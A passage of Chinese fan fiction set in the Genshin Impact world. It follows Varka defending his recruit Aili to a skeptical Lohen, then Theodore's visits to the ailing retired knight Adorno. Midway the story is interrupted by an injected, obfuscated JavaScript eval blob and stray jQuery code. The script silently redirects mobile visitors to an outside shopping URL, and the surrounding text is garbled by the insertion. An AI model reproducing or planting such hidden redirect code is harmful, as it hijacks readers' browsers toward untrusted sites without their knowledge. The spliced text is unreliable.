法尔伽本来想翘班和可莉出去玩,还没出骑士团的大门就被一个人堵了回来。
不过奇怪的是,平时来堵他的大多是琴,偶尔米卡和诺艾尔会在临下班时找他报告。
可今天来的竟然是洛恩。
这小子除了请假什么时候主动来过他办公室,不会是又惹出了什么事吧?
法尔伽不得已又坐回办公桌后:“洛恩,你……”他在大脑中快速检索洛恩来找他的各种原因。
“大团长,你到底是从哪儿把那个女人搜罗来的?”洛恩双手撑在法尔伽的办公桌上,耳尖上被箭矢擦破的伤口还在流血。
“你耳朵怎么了?”
法尔伽注意到那处伤口,骑士团经常执行一些危险的任务,受伤是常有的事,但今天第五小队的日常应该是进行训练。
“还不是你力荐的那个爱莉干的好事!”洛恩气哼哼的坐到旁边的沙发上,一手放在沙发扶手上,另一只手烦躁的将自己的头发揉乱。
“她怎么了?”法尔伽不解,那个女孩儿是他从挪德卡莱当地的冒险家协会里淘来的。
遇见她是一次意外,一个小孩子哭诉着他遇见了一个没有头的怪物,那描述很像是游荡在荒野之中的狂猎。
顺着小孩儿指的方向,法尔伽走了没多久就看见一个正和狂猎打的有来有回的女孩儿,一身冒险家的服饰说明了她的身份,不过那冒险服已经被她自己的血液浸湿。
他已经顾不了太多,只能先上去帮忙,女孩儿见他加入战局,没有惊讶反而很快和他打起配合,在两人的联手攻击下,狂猎被击退。
在战斗过程中他暗暗观察过她的战斗能力,比起专门训练过的骑士,她的战斗模式更原始,甚至于没什么技巧,她秉持的理念是用最少的伤换最大的伤害。
形象地来说,就是如果可以砍掉你的头,那我掉胳膊掉腿也没关系。
她的身体素质很高,速度敏捷,不过法尔伽并不赞同这种不要命的打法,如果她能够接受专业的训练的话,她将成为最有天赋的战斗员。
“你是来自蒙德的骑士?”爱莉冷静的问。
法尔伽点点头,爱莉似乎有什么话要说,欲言又止的看了法尔伽一眼,最后还是道完谢就离开了。
真是个奇怪的人。
法尔伽没在意,只当她冷言寡语。
第二次见她是在冒险家协会,上次见她一身伤,这次见她,她还是带着一身伤,而且面色极其疲惫,仿佛下一秒就会晕过去。
爱莉和凯瑟琳交接完委托之后,明显看到了法尔伽,她还是没说什么默默离开。
“大叔。”
法尔伽觉得自己的手掌似乎被人抓了一下,低头一看竟然是上次向他求助的那个小孩儿。
“你可以跟我来一下吗?”他扭捏地扯着法尔伽的手。
小孩儿的眼神清澈,看得法尔伽心软,他只好同意,跟着他走,左拐右拐终于走到了挪德卡莱这边的一家小医馆门前,医馆的窗户大开着,刚好能看见医生在为爱莉医治。
挪德卡莱的医疗水平远远比不上蒙德,医生的治疗手法也比较粗糙,女孩儿的眉头皱得紧紧的,强忍着医生动作带来的阵阵疼痛。
“爱莉姐姐自从我记事起就在冒险家协会做事了,妈妈说她很可怜,小时候她的父母被那天那个没头的东西杀掉了。”小孩儿轻声说着,将爱莉的身世缓缓道来。
自从父母死后,她便被冒险家协会收养,协会中的前辈对她都不错,她也从叔叔阿姨那里学到了不少杀敌的本领。
她也曾渴望被神明注视,但是没有任何一个神明回应她,可她并不因此沮丧,这并不能消磨她作为一个冒险家的决心。
到了能接委托的年纪,她便常年奔波在协会委托之中,不管是杂七杂八的小事还是像前两天那样危险的战斗,只要能够帮助到别人,她都不会拒绝。
但爱莉明显的感觉到自己的战斗模式混乱,完全是通过消耗生命与身体取得胜利,她一直渴望能得到一次真正系统训练的机会。
蒙德远征军到诺德卡莱的时候她曾经偷偷去看过,不用交手,也能明显感觉到自己和他们的差距。
第一次遇见法尔伽的时候,她就认出了他,那个她曾经远远的看过的大团长,在和他一同战斗的过程中,爱莉发现法尔伽力量强大,对技巧的运用十分纯熟。
结束战斗后,她曾想张口向他请教,最后还是把那句话咽回了自己的肚子。
面前的门开了,爱莉捂着自己受伤的手臂从医馆里出来,迎面就撞上了牵着小孩儿的法尔伽。
爱莉尴尬的想要走开,法尔伽却出声拦住了她:“或许可以和我谈谈吗?”
“所以你就同意让她来第五小队训练?”洛恩不明白,法尔伽到底从哪里看出那个女人是个有天赋的人,她明明连弓弩都不会用。
法尔伽无奈的说:“嗐就她那三脚猫功夫当然比不上你,不过也不用把人家贬得一无是处吧。”
洛恩在脑子里回想了一遍,他还真没想出来她有什么用处:“你要不跟我去看看,她的训练过程哪里像一个有基础的冒险家?”
“好了,洛恩。”法尔伽合上自己处理好的文件,“所以我才让她现在来训练嘛,我们这段时间在蒙德休整,没什么特别危险的任务,多么好的一个机会,帮帮她而已。”
洛恩的表情还是不太明朗,法尔伽也只好作出让步:“一个月时间,如果一个月之后她不能让你满意,我不会对她的去留有任何异议。”
洛恩终于将匕首放回腰间,转身离开:“一个月,不管她考核合不合格我都会把她赶走。”
洛恩觉得自己已经够宽容那个什么爱莉了,法尔伽也真是的,难道随便一个人说自己有个斩妖除恶的梦想,都要骑士团帮忙训练吗?
也不知道那人给法尔伽灌了什么迷魂汤。
太阳西落,洛恩没什么心情再去训练场,正巧在路上遇见希奥多,他正背着药包往城外走。
“希奥多?”
不远处
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17686510|207827||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的希奥多听见有人喊自己,慌张的停了一下,四处张望,看见来人是洛恩才舒了一口气。
“是洛恩啊。”他不自然的捂紧自己的药包。
“这个时间,第十小队已经下班了吧。”洛恩察觉到他的不对劲,稍微有些试探。
“嗯,我去荆夫港看阿多诺,洛恩,既然你已经回来了,记得去看看他。”希奥多说完这话就离开了,留下一个匆忙的背影。
想起那个和蔼的老头,洛恩烦躁的揉揉自己的脑袋,他是真的不想接手什么仁蔼骑士的称号啊,与其让自己这个和仁蔼毫不搭边的人继承他,还不如让他永远封存。
不过希奥多为什么看起来那么反常,总觉得怪怪的。
洛恩略微思考了一下,悄悄从后面跟上了希奥多。
两人的身影逐渐远离蒙德城,走着走着越来越靠近荆夫港,洛恩适时的停下脚步,难道真的是他想多了?算了,来都来了,去看看阿多诺也不费什么功夫。
阿多诺已经从骑士团退休,作为第五小队的队长,他并没有参加这一次的远征,反而把队长的职务交给了洛恩。
离得还远就听见阿多诺逗得一群孩子哈哈大笑的声音。
“孩子们不要抢,爷爷做了很多泡泡糖,每个人都有份!”
阿多诺坐在自家小屋前,表情分外和蔼,手里攥着一把糖,穿的花花绿绿的小孩儿围着老头子打转。
“看起来生龙活虎的嘛。”洛恩远远地的看着,希奥多已经走到阿多诺身前。
他似乎说了点什么,阿多诺连连摆手表示不用。
阿多诺对自己的身体状况很了解,已经行将就木的年纪,他并没有什么长命百岁的奢求。
他生了一场重病,几乎下不了床。
希奥多提出要帮他检查身体的时候,他拒绝了好几次。
“嗐,老头子我这身体没什么检查的必要了。”
“从小到大都是我听您的,这一次您就听我一回?”希奥多固执地不肯离开。
看着这个自己看着长大的孩子,阿多诺最终还是答应了他的请求。
检查过后,希奥多就时不时地来找他,说什么自己针对他的病情研究了什么食补疗法,阿多诺这次倒是很配合,打击孩子的自信心不是他的做事风格。
这天希奥多又来送餐盒,阿多诺已经吃过好几次,竟然觉得身体真的有些好转,感觉比往常有了些力气,已经可以独自下床,虽然坚持不久。
“希奥多,今天隔壁好心的邻居给我送过饭了。”
“不行,这个必须按时吃。您听话一点把身体养好,洛恩已经回蒙德了,我今天还见了他,您养好身体到时候他来见你的时候也更安心!”
希奥多很会劝阿多诺,因为他了解这位号称仁蔼骑士的老人,他的骑士生涯已经结束,想为自己找个接班人,对于洛恩他寄予了很大的期望。
“知道了。”阿多诺接过希奥多手中餐盒,嘴里念念有词,“洛恩这小子回来了还不来见我。”